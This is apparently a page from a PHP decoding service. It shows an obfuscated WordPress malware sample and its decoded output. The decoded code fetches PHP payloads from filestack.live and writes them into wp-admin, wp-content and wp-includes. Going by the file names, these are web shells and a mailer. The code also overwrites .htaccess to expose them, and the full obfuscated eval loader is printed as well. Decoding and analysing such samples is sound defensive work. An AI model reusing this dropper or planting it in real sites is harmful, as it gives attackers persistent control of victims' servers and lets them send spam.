Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $dRkBM = 'st'.'r'.'_rot1'.'3'; $gjGws = 'base6'.'4'.'_'.'decod'.'e'; $vHQyW = 'gzi'...

Decoded Output download

 error_reporting(0); $p_olux = str_replace("../", "", "./wp-admin/BUMfzFm9cwg.php"); $p_mailer = str_replace("../", "", "./wp-content/vbBcMC4talF.php"); $p_xleet = str_replace("../", "", "./wp-includes/u3tBbgOZEfD.php"); $root = str_replace("../", "", "./"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); }  } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); }  } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "C4MFruQgi3l", $mailer); save($p_mailer, $mailer); }  } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }

Did this file decode correctly?

Original Code

<?php $dRkBM = 'st'.'r'.'_rot1'.'3'; $gjGws = 'base6'.'4'.'_'.'decod'.'e'; $vHQyW = 'gzi'.'nflate'; /* vkcbezhbdtji         ***/ ini_set('log_errors', 0); error_reporting(0); eval($vHQyW($gjGws($dRkBM('wIHAo+WTRC0eT4gXqxIfRiZES5dXRAZtNp4M06d9KATlKbAI47KJ65Ney//r/GNRwbDQPKx9++oA8+mfQZPHRwdwBPBHkryPekygHZyzWPyrjX8tM3VitDwezzynJuIb4z9n6+jFudf4gr6zb+v//fcO64JMYGAA+n9taTQ6VjMRHbMGMw3C79PbI2pj6r9kiPDLfk9EkPyXvuQaIzTmh/aP+9hA7appyWQGONVISFyvZHaOxeSfgfOfIfeX9HcOR2AGDFGRVufE/6M3NB04NwcrMrleedPT8SylO8F3M3RnZ91bl3JBTpxLul2ebQs1u95wZBBCXyORU2Vr3B6961rOBW0CDK1iBCG+UUd9owQjkyIjqLYDq4BcCj787awFS8FafWCWpCnU6j/6sm26cLtmfN/rWQvA7KawfqfYtfUV9nLp2mjSCt81aou+93q3mUTITI9mXM+1ulO4yQfmhnI9Zqbv3L9jtoqauS8jRxjyAHcVwgH7knltdo51ZAdiBZxk2Pt7HNsrsa19X6ZpCaCsQQXhd5XGtvWfoRNp6IfRwkoaiUt0JH9M8IMCTd8ppTG9adjAFt0tJgBLLG0vTH5YyYoJwNZb2WATZDjI7cFv/DdKvvdHiy/9xhyAwfYk24ou6uP5ekObyYZXMqfpHverhW4YTnZHH3LujkQZMG86idXnZC1vJpVmMkQ9nlokZ7LnVKMDmn7KngrAX9vlLqvfj+iJqGv/fFZ4e5yYguXKajsAXS7jsfKDHgrfmgAiiUzVQySEjGso85Evgznu933Wfzxcmqi+qoobn8qcLP4I1MOmIM83LYBSxVBn0okrt2UYCxA0Ts5AgGGfAw7JeEd2Re5e3u8bm4+yg5mVodUVhLTbSq7jKQqnAaXnHKwy2R5gQf+DiyJjY+Ptp7+8/kBqiSps9JaknEUolE5Ir5pSMqwsxKyD22WXzAe+YVyGsdzSMZTzqF7hiI7Nzk8DygfBv1zPomhJrfcOf2GygTDxVJgZqKKGSQZattwuCWqy/30TDck+1p2swLvFyKwPWWUc4WDT+CLAUVNWQGz5DcT1JNw3UI6ragXvqDoEvVEStfTXuQlWfyJL6CLc9qKnGEqkvbTK7vk3xS9wn/sdP+q/MP6rkRu9dbOY8Ua4MDsbxGDRC21899CHasQ5Zkv64+7VsDHKy9R5bCNjyNaXkCALXx7U2a7RepLU35W/lKSF+MOc1hh7jm7rydxEW/4/')))); ?>

Function Calls

ini_set 1
gzinflate 1
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$dRkBM str_rot13
$gjGws base64_decode
$vHQyW gzinflate

Stats

MD5 23cdb94e1a37936c08ab6e730573797d
Eval Count 1
Decode Time 62 ms